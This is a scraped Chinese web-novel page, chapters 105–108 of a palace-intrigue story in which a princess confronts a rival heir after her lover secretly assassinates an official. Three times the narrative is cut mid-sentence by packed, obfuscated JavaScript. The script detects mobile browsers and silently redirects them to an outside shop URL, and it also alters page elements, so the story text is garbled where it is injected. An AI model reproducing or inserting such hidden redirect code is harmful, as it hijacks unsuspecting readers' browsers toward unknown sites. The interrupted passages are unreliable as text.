骆苕相信舅父慕容霆彦能解决的同时,也异常担心,大嵘所有人的目光聚焦在慕容霆彦身上,都在看他如何解决。 三更天一晃而过,玉磐宫外霜华重重,骆苕和花凊还在絮絮说话,睡意全无,花凊沉心片刻,突然意味深长拖腔唤骆苕:“殿下……” “嗯?” 骆苕示意花凊直说。 花凊声色缓和拉的很远:“若下回再遇取人性命之事,你不必亲自动手。” 骆苕望着跃动的火光,说:“我和你们一样,是当局者,不该置身事外,亲自送沈觅上路,是我一早打算好的,即便他没告诉我独孤解,我也会亲自送他。” 花凊咽了咽咽喉:“殿下很善良,没必要和我们一样双手染血。” 骆苕慢慢咀嚼花凊说她的善良。 善良,是世上最难能可贵的品质,但有时候没有底线的善良,也是愚蠢的表现,骆苕回想自己的过往,好像没有真正意义上去恨过一个人,纵使面对夺国的凌氏,也会设身处地站在他们的角度去分析他们的行为。 善良的骆苕,在今晚突然发现,自己亏欠了父亲,还没有机会补救。 105. 一百零五章 “善良。” 骆苕重复低吟着善良,似乎已经品出蠢笨的滋味。 她的善良给予了旁人,唯独缺席自己的父亲,曾以为很爱自己的父亲,妄图用是非对错来彰显对父亲的爱。 事实证明,绝对的是非对错已经不适用那时的孝玄帝骆炜诠,骆苕却未曾醒悟不知通变。 行差踏错,行的第一步便是错的,她忽视自己的荣华和身份,是来自于皇权的加持,一直站在对错的至高点,仰起头颅俯视自己的父皇。 孝玄帝骆炜诠晚年,阿谀奉承之辈环伺,只为听几句中听的谗言,来麻痹大事难成的遗憾。 其实,骆苕完全可以做那阿谀奉承之辈,权宜的奉承有时胜过逆耳的谏言。 她恍然记得第一次入凌文袤的宅邸,二人起争执,那时便通晓惹怒凌文袤,没有半分好处。 面对自己的父皇为何没有那样的觉悟? 奉承自己的父皇又有何妨? 父皇喜欢奢谈生平的丰功伟绩,说说又能怎样? 偏偏她刚正如石,唾弃那些阿谀奉承之辈,鄙夷孝玄帝骆炜诠所行。 白明绪被夷灭六族,骆苕跪伏在孝玄帝骆炜诠脚前,恳求自己的父皇放过除白明绪本人之外的白氏宗族,可还是言之凿凿一直戳皇帝的错处,使得跪伏变成无效的跪伏。 父女离心的路,她亦走得刚正如石,清高孤寡。 最终讽刺的是,为凌氏做嫁衣做得津津有味。 花凊望着凝神良久的骆苕,轻唤:“殿下?” 骆苕煽动眼睫,从迟来的自省中回过神,敛下心绪怅然低语:“你也很善良,但从未有人顾及过你第一次杀人时的感受。所以,我和你一样,并不会妨碍日后吃喝享乐。” 说后一句时,骆苕故作轻松地向花凊吐气扬起眉。 花凊想了想道:“我第一次杀的是被掳的敌寇,那敌寇嚣张至极,死到临头还连连口吐芬芳,听得我血气上涌,在父亲的鼓励下,就一剑了结了他的性命,用他的血为我的剑开了血刃。不过,我到现在都没忘记那张往外喷污言秽语的脸面,简直丑不忍睹。” 说完摆摆手,“确实不会妨碍日后吃喝享乐。”避重就轻地避开已然刻进脑中的刚毅脸颊,那位小小敌寇,也算是义胆云天。 骆苕轻轻附了个:“嗯。”端盏呡水瞥向更漏,润过嗓道,“花凊,你该动身去校场了,在京都安心操兵,不必为我一个闲人挂忧。过几日回去你我再聚,我得去你宅里见识一下你那位吹拉弹唱样样精通的兄长。” 还有一事,她得回宫中陪母后,和骆炎一起守岁。 花凊也撇过一眼更漏,起身回的也不拖泥带水:“那花凊恭敬不如从命,回去我让我兄长好好准备准备,恭迎殿下的大驾。” 骆苕跟着起身对花凊一笑:“去吧。” 操兵的事她知道花凊不想懈怠,才将将当了几日京都校场的校头,怎好让人抓住把柄。 在花凊走时,骆苕叮嘱今晚所谈之事切记保密。 马背上的花凊抡臂拿手背抚走后颈的发束,打趣道:“殿下英明,体恤卑职操兵辛劳,大老远命卑职来玉磐宫,只为喝下一盅千年美味参汤。” 骆苕抬着头,夜风肆意吹扬扑散的乌发,她衔着浅笑拍了拍花凊的马,赶人:“路上当心。” 花凊一骑绝尘踏上将至的晨晓,赶去属于她的天地。 骆苕听着“哒哒”马蹄声,瞭望远处不眠休的山川,凝愣半晌后转身回到寝殿卧入床榻。 直至天亮破晓,也没有等来凌文袤。 骆苕随意洗漱一番,让婢子为她挽上简单发髻,裹上狐氅去到玉磐宫外唤来葛七相问:“凌五郎,昨夜可有同你说几时回来?” 葛七摇头如实回话:“不曾。五郎主只是吩咐卑职护好长公主殿下,让殿下不要离开玉磐宫。” 骆苕颔首,再次朝远处的山川瞭望,目及之处是十年前栽种的樱桃,地处阳坡上喜阳的九株果树,再过不到两个月就会绽放,今年较往年气候和暖,兴许花还会开的早一些。 届时樱花满陂,会是一副极美的景致。 这九株樱桃树是农学大家段猷,根据贾思勰所著的《齐民要术》中记载种植樱桃的方法,改良培育而来。 经段猷之法改良,樱桃果从最初的酸涩难以入口,到时下结下的果实清甜可口,软糯绵密,段猷钻研培育良久。 作为一年伊始的“荐新”果,每年都会采摘其果,用来宗庙祭祀。 骆苕一息长叹,今年初春骆骞死在樱花绽放的日子,她也被囚在了采撷宫。 用过朝食,独自一人爬上种植樱桃的的山坡,迎着骄阳俯瞰玉磐宫。 宫规废置的皇家行宫,如今凌氏出入自由,再过些时日,待到骆炎禅位于凌晖,这里的一切便会和她无关了。 捡块大石静坐,任由时间在天地间流淌,直至过午也没有下山的念头。 远处的葛七和肖绩二人望看不动如山的骆苕,心中不约而同地直犯嘀咕,肖绩不免暗暗地想,长公主如此还不如回公主府发呆呢。 期间葛七递去水壶,骆苕接去也不见饮用。 二人离开远一些,肖绩附在葛七耳边轻说,言语露出担忧:“虽是隆冬,但长公主就这样一言不发坐去两个时辰,要不要去跟五郎主禀报?” 葛七摇头道:“五郎主要事缠身,我们听命当差就是。” 肖绩唉一声:“再这样坐下去也不是办法,我去请长公主下山。” 葛七瞭向骆苕,看了一会儿,定下主意:“再等半个时辰。” 闻言肖绩也没再说话,立直身板只能继续等。 骆苕离得远,没听到二人对话,但也起了身,面朝天际静置一瞬转身下山。 土陂下去颇费劲,深一脚浅一脚,葛七想去扶人,被骆苕给拒了。 行至半山腰,葛七和肖绩二人首先听到下面有人上山的响动,对视一眼,第一想法便是凌文袤回来,上山寻人。 岂料,上山的人并不是凌文袤,而是凌承佐,凌承佐面带焦色,抬眼扫过骆苕这面的三人,他在确认凌文袤在不在现场。 葛七和肖绩也是有些哑然,在凌承佐那面同样找寻凌文袤,没发现凌文袤的身影后如常向凌承佐行礼:“世子。” 骆苕察觉其中有恙出声问询:“凌宪没跟你一起?” 凌承佐拂去眉宇间的焦色简短回道:“不曾。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887075|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说完不欲再多话,直接背过身下山,骆苕望着凌承佐的项背蹙起眉心。 一行人沉默着下了山,安静的气氛因为凌文袤不在而变得诡异。 回到行宫,凌承佐招来赤眉和骆苕一同入书房,质问起赤眉,言语中充斥着盛威和愤怒:“家主让你和一青寸步不离跟着五郎主,你竟不听家主之命,遇事不报,你可知罪?” 赤眉没有辩驳,跪地应声直接认下:“奴知罪。” 骆苕心脏一坠,扑通通直接乱跳。 赤眉和一青是凌晖保护凌文袤性命配给的死命家奴,她撇开赤眉,敏锐问凌承佐:“凌宪可是出事了?” 凌承佐睨着脚前的赤眉:“独孤解昨夜被人刺杀在扆照观,两名刺客潜逃,听闻其中一位身负重伤,独孤解的护卫一路追杀,追至扆照观山脚下的大河边,不见踪迹,到现在独孤解的护卫还在大力搜寻。” 低垂着头的赤眉瞳仁僵直,凌承佐虽没指明独孤解是被谁所杀,为何被人刺杀,可意思已经十分明了——是凌文袤和一青。 独孤氏一族在赤眉的认知里,依然是凌承佐的党羽,凌文袤却利用一青去刺杀独孤解,这便直接和党争牵扯上了。 骆苕紧张地将话梗在了咽喉,这是一件任谁都料想不到的鲁莽之事,一位即将成为皇族皇子的人,亲自动手去刺杀一位远在扆照观的大臣,出现差池,就是性命不保。 昨夜凌文袤思虑的样子以及在寝殿内说过的话,在骆苕脑中交织缠绕,她连连摇头,凌文袤怎么可以这么傻。 听见凌承佐又说:“来了玉磐宫我才确认,去行刺独孤解的人是这凌宪,他瞒着所有人去刺杀独孤解,是对父亲和我这位兄长的藐视。” 骆苕抬眼望过去,盯向凌承佐反唇相讥:“他将自己的性命置之度外,替你们直截了当除掉独孤解,你这个时候还有功夫惦念那一点的藐视?对你和你父亲的藐视,是你所想,并非他所想。” 转而抬步丢话离开:“我带人去搜寻。” 这个时候难道不该去找人吗? 凌承佐动作比她快,横去她身前挡住前路:“你不能去,他和你大张旗鼓来玉磐宫,便是营造他在玉磐宫的假象。” 身前的衣物无声相撞,凌承佐张开的手臂几近扶上骆苕的肩膀,骆苕后撤半步,仰头望上去:“我不能去,那你呢?作为兄长,难道不该顾念你弟弟的性命?” 无声的对视。 凌承佐望着那对眸子,心脉被点上失神的穴位,空白一刹,强行恢复搏动后才道:“独孤解寅时一刻遇刺,现在未时一刻,独孤解的护卫还未能搜寻到他们的行踪,想必是已经逃了,只是藏在无人发现的地方。” 骆苕冷冷一笑:“那你来玉磐宫作甚?确认他是死是活?独孤解死了,独孤氏一族群龙无首,余下的独孤宗亲,你和你父亲便可轻松解决,凌宪若就此身死,对你同样百利而无一害,如此荒唐的刺杀,你是最大的受益者。” 不费一兵一卒,两大心头之患都可铲灭。 说完,骆苕察觉这样直冲的说话方式,对自己百害而无一利,她不该如此率性,不该像从前一样那般强硬无知。 于是无力垂头,退后不语。 106. 一百零六章 骆苕盛光的眼眸猝然落下,凌承佐轻叹一声,视线移去书房推开的绫窗。 窗隙投进来的光芒万丈苍白刺眼,像骆苕对他说的话,灼心直白,她说的没错,凌文袤若就此身死,他便是最大的受益者。 凌承佐稍眯凤眸,阻挡开灼心的侵犯,思绪悠悠飘远。 父亲为他取名“承佐”,佐字除了阐释辅佐之意,再无新释。从出生起他便被冠以辅佐兄长凌承弘的身份,一路前行,被推到如今世子的位置,并非他最初所想所愿。 时光若可倒流,凌承佐宁愿跌回最初母亲还未离世,兄长健在的时候,一切的一切无可挑剔。 今时今日,已经回不到从前,故而他得担起世子之责。 书房内静得出奇。 被遗忘的赤眉,抱有赴死受罚的决心,重重叩首:“世子,奴去寻五郎主。” 凌文袤和一青既然已经逃过独孤解护卫的搜寻,此时藏身在无人知晓的地方,赤眉想搏一搏,尽量保下一青的性命。 骆苕望向赤眉,听出他言语中的恳切。 “不必去寻。”凌承佐视线再次睨斜赤眉,言辞决绝,“等五郎主回来,你去家主那领罚。你先出去,我与长公主有话说。” 赤眉只能咽声起身告退。 此刻的骆苕面色缓和看向凌文袤,等着他发话。 凌承佐反客为主步去坐榻,袍袖一捋坐定,手臂平铺在案面似有长谈之意:“趁现在凌宪还未归,你我好好聊聊,我想知道这么多年你为何对我一直冷眼以待?” 从儿时骆苕可以开口说话起,在凌承佐的记忆中,她就没当他一回事,更别说后来自己向她表心意之后。 骆苕觉得此时凌承佐问这个不着边际的问题很不可思议,她说:“凌世子,这个时候,凌宪性命攸关之际,我没心情和你讨论这个无关紧要的问题。” “无关紧要,还是你不想回答?”凌承佐暂时打消她的担忧,“昨夜,英国公独孤解被刺身亡,我来玉磐宫是受父亲之命,让凌宪随我去英国公府探视独孤解,一个时辰后,凌宪若还没回来,我便会独自前往英国公府。介于独孤解的护卫还在搜寻,以及回玉磐宫的行程时间,一个时辰后,你再考虑凌宪是否有性命之忧。” 凌晖还不知独孤解死于凌文袤之手,独孤解悄无声息死了,不论死因如何,凌晖大喜,惊喜之余,命凌承佐按照常礼携凌文袤,去往英国公府一探究竟,让凌承佐与凌文袤一同前往,拉拢兄弟二人关系的同时也在打消外人猜测兄弟不睦的传言。 凌家二郎不睦,这些传言传扬已久,近年愈演愈烈,乃至民间都已编成朗朗上口的歌谣,流窜在大街小巷。 骆氏皇族兄弟相残的经久余温,在凌氏身上提前隐射,似乎是有人有意编撰这些歌谣,散布大嵘。 骆苕对凌承佐所问没兴致,但还是稍作思考,回答他:“对我来说不想回答的问题就是无关紧要,凌世子想知道的答案,我用实际行动都已经告知你,冷眼以待便是无意于你,希望凌世子,莫将精力浪费在我身上。” 凌承佐瞥眼脚下的绒毯,上面繁绣的牡丹花栩栩如生,从未退过色,他唇角勾起遥远的记忆:“长公主还是一如既往地爱憎分明,不过,立行面对长公主的爱憎分明,有所不解。世间上的人多如蜉蝣,立行一直不明白长公主唯独将极致的憎恶留给了立行,长公主与立行自幼相识,更有血亲追持,立行自认品行尚可,对长公主亦无伤害之举,怎就讨得了一身的憎恶?” 凌立行是凌承佐的表字。 骆苕语顿凝噎。 在白言霈之前,骆苕对凌承佐的记忆很模糊。凌承佐会偶尔出现在她的面前,记忆中的次数并不频繁,但每次出现,骆苕都在回避,究竟在回避什么,连她自己都说不清楚。那时,憎恶应当算不上,可究竟是什么呢? 无从知晓。 亲自指定白言霈为驸马都尉之后,便极少见到凌承佐,之后对凌承佐所有不好的记忆,都在白明绪被夷六族之后。 骆苕只能如实否认:“凌世子言重,我从未憎恶过凌世子。” 否认在凌承佐耳中略显乏力,他抬眼捕获到骆苕一脸的茫然,轻松替骆苕道出憎恶自己的缘由:“长公主打小就不会将精力虚耗在自认为无用的人身上,立行对长公主的心思,长公主早已了然于心,刻意的疏离确实在告诉立行当知难而退。自白明绪被夷六族之后,长公主对立行的憎恶便达到了极致,已无回旋的余地,立行所说可有谬误?” 那时,凌承佐知道父亲凌晖想要夺取皇权的野心,受父亲之命苦追骆苕,以一副卑微的臣子姿态出现在骆苕面前,让原本纯粹的恋慕蒙上一层欺诈。 违心的举措过于频繁,凌承佐憎恶那时的自己,更何况骆苕。 骆苕反问:“凌世子既能自问自答,为何还要相问于我?” 凌承佐不回此问,继续道:“今时今日,立行不再苛求长公主受立行的情,只想问长公主往后想要的是什么?” 骆苕轻微迟疑,咽喉紧滑,她不料凌承佐会问得这么直接,可以说有点直击心门的刺耳。 她想要的,凌承佐却再次肯定地替她作答:“长公主想要天下大和,皇太后安康,骆炎性命无虞,立行所说可有谬误?” 骆苕摇头:“无误。” 凌承佐沉默思量片刻道:“天下大和,皇太后安康,骆炎性命无虞,也是立行所愿,只是天下大和,立行还需长公主的襄助来完成鸿鹄之志,长公主可愿襄助立行?” 凌承佐的每一问,都掐在骆苕的犹豫点,凌承佐知她所想,于是她问:“如何襄助?” 凌承佐拇指指腹摩挲着食指甲尖,斟酌后道:“长公主明白,立行乃凌家世子,日后继承皇太子之位必将顺理成章,外人亦无异议,奈何立行势单力薄,实力稍逊,难免会让旁人惦记立行的位置,所以需要长公主疏通老臣,襄助立行坐稳皇太子之位,让凌氏真正步上正轨,待凌氏步上正轨,立行必将致力征伐天下,给长公主想要的天下大和。” 这里的旁人,凌承佐没有着重指明是凌文袤,仿佛将凌文袤和旁的想要皇位的人一视同仁。 此刻,骆苕在意、心动的却是正轨这两个字。 乱世洪流中的王朝,原本遵循立嫡立长继承的制度形同虚设,为了皇位,皇子之间相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972023|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互博弈,相互厮杀已成常态。 骆苕知道,凌承佐作为凌家世子将来继承皇位最为合适,论才能论年纪,凌承佐当具备的都已具备,非要吹毛求疵,唯一的缺憾便是母族的势力全无,自身军功薄弱,这一点,适才凌承佐亦已说明。 “凌世子,你兴许忘记了,宁华已经为凌氏献上毕生所有,待你征伐天下,公主府西面林地下埋藏着珍宝无数,随时拿去以做征备,至于朝中旧臣,他们着眼在你父亲身上,只要你父亲勤勉朝务,政绩斐然,他们不会不服。”骆苕挥拂衣袖,走向凌承佐,讪道,“其实,宁华身上已无真正的价值可以压榨,往后的一切你们凌氏都可水到渠成得到,不必凌世子将宁华抬的这般高,况且天下大和,非宁华一人所求。” 凌承佐垂着眼,望着逼近的裙角终是叹息一声,眼前的女子太过聪慧,各自都不愿去道破的那道口子,只能他来道破,于是缓缓身,视线落在她脸颊分毫不离,轻声问过去:“你喜欢凌宪?” 骆苕自然平静回答:“凌世子这是明知故问,适才你说,宁华打小就不会将精力虚耗在自认为无用的人身上,我喜欢凌宪才愿意将精力花在他身上。” 岑寂后凌承佐才轻和问出:“那你为何不愿嫁给他?” 骆苕抬眸,释然而笑:“我愿意嫁给他,只不过要等到天下大和之时。” 凌承佐凤眸微狭,颌线稍紧,敏感的神经被猝然挑起:“你有意助他夺位?” 自己身上流有一半的骆氏血脉,居然打动不了眼前人。 骆苕缓缓摇头,定睛在凤眼内的质疑关切眼眸,突然觉得无趣,她说天下大和之时她才能嫁给凌文袤,凌承佐便觉是凌文袤夺位之后,看来皇位永远是他们最在意,最不可侵犯禁地,她说:“我不掺和你们兄弟阋墙。” 兄弟相残的场面她早已见惯,何必再踏入皇族之内,再去体验一番。 天下大和,非在旦夕,许久之后的事,何必去过早打算。 凌承佐掌背下的筋脉微微松懈,唇线勾起一角,道:“看来你也没那么喜欢他。”若真心喜欢,会不顾一切为了喜欢的人争取喜欢人想要的一切。 骆苕聊赖地“嗯”了一声,故意问:“喜欢能如何?你能为宁华喜欢的人将皇位让给他?” “不能。”凌承佐无声吞咽,真诚清晰地说,“我能因你喜欢的人,将来留他一命。” 骆苕舒气,脸面挂上无奈的笑:“方才看来是我答错了,我该回答,我很爱他。”向凌承佐扬去眉,“如此,便可保他一命?” 单单因她喜欢凌文袤,将来若凌文袤落败,凌承佐会留凌文袤一命,如此的爱屋及乌,她万分不信。 这次凌承佐没答,却用审视的目光和沉默回应骆苕。 当初那个爱憎分明的长公主,好似变了,不再是他以往认知中的分明脾性。 骆苕收下眼,垂下头回归正题:“凌世子,宁华宁可茕茕孑立也不愿再入皇族,所以,希望你们兄弟二人趁事态未到无可挽回的地步,及时收手。” 她知道自己的规劝苍白无力,只能算礼节的客套。 杀念已起,怎会收手。 107. 一百零七章 骆苕只觉高高的身影立在身侧有些压抑,移步入座后喟叹一声。 她最初所想,助凌氏一族安内政,养息民生,再吞并圻国,至于皇位最终落在凌氏的何人之手,她不曾关心。 可她偏偏遇上了凌文袤冒名顶替的冯侍卫。 想不偏不倚保持中立,好像也不会令人信服,特别在凌承佐面前说的这番话。 “及时收手?”凌承佐居高临下,望着坐定的人,眸中有着莫名的孤独情绪,“我凌立行承袭祖业名正言顺,该收手的当是凌宪,这话你可曾对他说过?” 如今朝中臣僚各自都在暗中观望凌氏,凌承佐承袭祖业名正言顺不假,可凌文袤的母亲赫连萨朵尚在人世,且家世峥嵘,将来的朝局走向并不好说。 倒戈凌晖的旧臣最希望将来凌文袤替代凌承佐,将凌承佐这位拥有前朝血脉的嫡子彻底摘除干净,方可令他们完全心安。 但凌晖意志不移,力保凌承佐的世子之位。 对于凌承佐的问话,骆苕面色未瞧出异样,心思却激起微妙的波澜。 在这一刻,骆苕又开始自省。 她从未劝解过凌文袤及时收手,她从始至终理解凌文袤想夺位行为,只是表明自己不再入皇族,不掺和入局,不想再见皇族手足屠戮。 有时自认为的中立,其实早已出现偏差。 只是不自知而已。 “凌世子,宁华从未相问过凌宪关于这方面的心思,亦未察觉他有取而代之之意,又何来让他及时收手的言辞?” 骆苕语气平缓,在此刻掩盖了凌文袤有夺位的心思,高昂起头颅目光坚定看向凌承佐,“今日,凌世子笃定凌宪有不轨之心,宁华以为,是因凌世子身处其位,内心极度不安所致,而宁华默认你们兄弟会因那个位置相争,是因生在皇室,对兄弟相残司空见惯屡闻不鲜,觉得争,才是名正言顺的行径。掌权者最看重手中的权利,不允许自己的位置出现一丝的威胁,远的不说,宁华父皇屠戮宗亲你我并不陌生,宗亲陨落,无势可倚,才让你们凌氏有机可趁。站在权利顶峰的父皇被权利蒙蔽双眼,晚年惶惶不可终日,只觉草木皆兵,将宗亲功臣尽除之而后快,可那些宗亲谁又有真正拥有不轨之心?” 她将言下之意委婉道出,“想必凌宪还不曾妄生不轨之心,他同宁华叙说首战遇挫,一心只想军功血洗前耻,全部的心思都在军功上面。宁华因自身缘由不愿入凌氏门,他知晓宁华其中的缘由,也并不多言,只说待平定天下之后风光迎宁华入门,宁华只能感知到,他的执念在军功和婚嫁这两项上。” 突然唐突一笑,像自嘲,“宁华只想借你们凌氏之手取天下安宁,那个位置落在凌世子之手还是凌宪之手,于宁华而言并无差别。至于儿女私情么,来去缥缈,也无关紧要了,命里有时终须有,命里无时莫强求,看淡一些较为妥当,婚姻嫁娶更无关紧要,宁华早已不求。” 在对视中,骆苕停下说话,心尖因自己的言语而刺痛,凌文袤曾说她,她把自己的心墙垒的太高,乃至于缺少真挚的趣味。 她承认凌文袤所说,只是,她将缺少真挚趣味的缘由,归结为那颗已经千疮百孔的心脏有它自己的思量。 有时逃避也是一种自我保护。 这番虚实参半的言辞让凌承佐在须臾之间思考的很深。 他在深思骆苕这些年的变化,同时在深思她言语的真实性,自己确实如骆苕所说,深陷在会被取而代之的困惑之中。 明明她是离自己最近的那个人,简直触手可及,可她亲自选定了白言霈,即便她和白言霈无疾而终,她依旧拒绝自己,而选择了凌文袤。 原始的争抢欲让凌承佐愤懑,可理智劝诫他不可失去心智,他明白骆苕的爱憎分明源自何处,私情上,她厌恶一切不择手段的夺取。 孝玄帝骆炜诠夺慕容瑾的身,困在深宫,可慕容瑾的心始终在边疆的裴山恭身上,骆苕在为自己的母亲极力和孝玄帝骆炜诠做抗争。 凌承佐将心中的怅然落寞急速驱离,回归在权利中心,权利是他唯一不可失去的,半分都不能让。 骆苕又道:“凌世子曾说过,会护宁华周全,兴许你我心中的周全有所偏颇,宁华所要的周全,紧要的都已逝去,已然全不了‘周全’二字。” 当年凌承佐说要护骆苕周全时,白氏一族下狱,骆苕焦头烂额,凌承佐已知自己的父亲凌晖有取皇位之意,但在骆苕面前需要极力装出一副忠君臣子的模样,迷惑君王,让君王认为凌氏推动夷灭白明绪六族之举,完全只因党争的关系,而非铲除骆氏皇族势力。 “没有周全,那只求你们兄弟二人一个‘和’字,花精力着眼当下,安内攘外,而非将你死我活早早提上日程,损耗神思,损耗你们凌氏的气数。” 骆苕说完垂首转向绫窗,窗外日光暄和,重檐漏下一隙斜光,涌动的粉尘在阳光下无处遁形。 凭借那一隙光束,完全可以预见阴影内弥漫着一场更大的喧嚣。 凌承佐沉默着背过身双臂交向身后。 长久的斟酌过后,声音清晰落入骆苕耳内:“待天下大和之时,立行定当亲自为你操办大婚,若不中意凌宪,世间的好男儿任你挑选。” 简短的言语阐述了一切,凌承佐暂且放下面心不一的争斗,着眼当下,也有坐稳世子之位的决心。 至于凌文袤可有夺位之心,凌承佐都不允许事实发生。 凌承佐亲自为她操办大婚,骆苕也未过多赘述,只是淡淡地回应,像敷衍:“宁华对天下大和拭目以待。” 书房内沦陷入寂静。 骆苕看了一眼背身而立的凌承佐起身,朝外去。 此刻她挂心的凌文袤能否平安而归,房中的更漏告诉她时间在不停流逝,她也不知自己是担忧更漏滴得太慢还是太快。 她希望滴得慢一些,那便有足够的时间让凌文袤归来,又希望滴得快一些,那样会早一些见到人。 门外的赤眉身姿挺拔,那张冰冷的脸上看不出任何担忧的表情,内心却和骆苕一样焦灼,即便凌文袤和一青平安归来。 赤眉和一青的性命似乎已经在鬼门关,他俩的职责,凌晖安排的简单明了,只需寸步不离保护凌文袤的人身安全,遇不寻常的情况报给凌晖便可。 昨晚凌文袤和一青不知去向,原本赤眉和一青必须贴身跟随,时下赤眉却听命凌文袤安然地待在玉磐宫。 凌文袤似乎赋予他们俩独立思考的权利,让日子有了颜色和期待,特别是一青,凌文袤亲自教导,让他不再像一个死命家奴那样活着。这两位属于凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081032|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晖的家奴正脱离凌晖的使命,听命于凌文袤。 骆苕起先在檐廊下来回踱步,最后行至行宫门口。 凌承佐并未相随,望着那道依旧熟悉的背影渐渐远去。 她留给他的永远将是项背,不曾变过。 在骆苕焦心的期盼中,凌文袤和一青以一种非常戏剧性的姿态回了玉磐宫,带着一身的泥腥而非血腥。 二人的衣袍沾满干涸的泥渍,像农人耕种后寻常归家。 骆苕在见到凌文袤的那一刻,紧绷的肩胛霎时松懈,喉咙也已经紧得不想说话,只能用眼神反复问询他去哪了。 回答她的只是一脸的快意。 凌文袤和一青,二人手中拎着从深山采来的灵芝仙草,说是为夜不能寐骆苕特意采摘。 凌文袤乍见凌承佐,倒是一笑,闲适着问:“兄长怎么来玉磐宫了?可有要事商议?等我先去洗漱一番,滚了一夜的雪泥,脏着呢。”又对一直保持愕然的骆苕说,“深山中的灵芝仙草见不得天日,听闻夜里采摘最为合适,所以一时兴起,和一青跋山涉水将这灵芝仙草薅了几株过来给你煨汤。” 凌文袤向面色焦急的众人巡视一圈,悠悠唤婢女来接走采摘的灵芝仙草,吩咐赶紧乘新鲜炖煮熬汤。 凌承佐视线在凌文袤和一青二人身上无声打量,查看二人身上是否有伤,从独孤解传回的消息,刺杀独孤解的两位此刻身受重伤,眼前的二人却毫发无损。 凌承佐原先的直觉设想在这一刻出现动摇,定睛在一青脸上,想从一青的神情中寻找蛛丝马迹。 一青恭顺垂首,一副家奴的模样,瞧不出异样,凌承佐拢了拢神直道:“独孤解昨夜遇刺身亡,父亲让你我二人前往英国公府一探究竟。” 凌文袤闻言大喜,面上挂着一抹不可思议,问:“消息可有假?” 问完拍掉掌中的泥土,“就这样死了真是出人意料,也不知得罪了谁,招来杀身之祸。不过死的好啊,有如神助,正愁解决不了心头之患。如此天大的喜事临到头,我瞧兄长怎么心事重重,将忧心直接写在脸面上,不是该值得庆幸?” 凌承佐视线从垂首躬身面色无异的一青脸上收回投向凌文袤,直言不讳相问:“独孤解可是你杀的?” 凌文袤随意拢好的发髻颤了一下,似是暗笑,瞭眼一青,语气很不着调嘟囔:“我怎不知自己有那个能耐。” 刻意停顿着说辞,试探着问,“兄长……这是担忧凌宪的安危?” 凌承佐没回,只说:“去洗漱洗漱,同我一道去英国公府。” 他心中的担忧和不安很复杂,一时很难说清,他最忌惮的是凌文袤越过自己和父亲私自行动,原本自己便可以解决独孤氏一族。 独孤解若为凌文袤所杀,凌文袤这便是不尊父命,私自行动,越发衬得旁人无能。 凌文袤无意追问,快步移去一旁,一只脏兮兮的手掌按上骆苕的后腰就将人往里带。 望着一双背影,凌承佐凤眸微眯,只见凌文袤附在骆苕耳畔说着细语,整副身躯呈现出恣意的放松。 更多的是一种炫耀。 凌承佐果断收眼,投向一旁的一青。 方才归来的二人气色正常,除去一丝缺少休息的倦色,确实不像身受重伤的人。 108. 一百零八章 凌文袤在骆苕的耳畔问她:“今日你都干了什么?这边的耳朵这么红?” 骆苕在山坡的樱桃树下长久静思过往,冬日的阳光和煦,从枝桠缝隙漏下来的日光仍旧毒性未减,还是在她净透的脸颊耳朵留下了不小的印记,她漫不经心地回了句:“晒的。” 附在她后腰推人前进的手掌转换姿态,变为扣腰前行,凌文袤没说话只是点头后直起腰身。 凌文袤入汤池沐发浴身时,等在池边的骆苕才追问:“刺杀独孤解,究竟是不是你所为?” 方才凌文袤在凌承佐面前一口否认,骆苕困惑,凌文袤昨夜蹊跷离开玉磐宫本就不寻常,她想知道从凌文袤口中得到实情。 凌文袤没有隐瞒,轻松地承认是他所为,之所以不能承认,是怕一青小命不保,如此大的事,赤眉未跟随,是渎职,追究起来连赫连萨朵都饶不了他俩家奴的命,唯有说一青和他入山干些性命无关的,才能让他们无从追究。 凌承佐得知二人身负重伤,不过是凌文袤为掩人耳目,和一青放了一名追杀护卫的血,装入水囊,一路挥洒,引搜寻追杀的护卫去往河边,使得二人顺利逃脱。 此次行刺独孤解,无精心策划,换来的却是圆满无暇。 凌文袤解释完愉悦地添了一句:“过几日,我得跟父亲正式要下一青和赤眉的奴身。” 骆苕的幽怨被他的愉悦衬得越发明显,唇角微抽,直斥:“你怎可拿自己的性命当儿戏,直接行刺独孤解,你可知危险为何物?若反被独孤解的人所擒,你还能回来?恐怕死了我都不知你去了哪里。” 确实,若凌文袤反被独孤解的人所擒,独孤解不会将凌文袤交还凌晖,以什么理由交还凌晖?说堂堂凌晖嫡子亲自刺杀英国公,说出来都是一个笑话,而一旦交还,独孤解还会将自己推到万劫不复的境地。 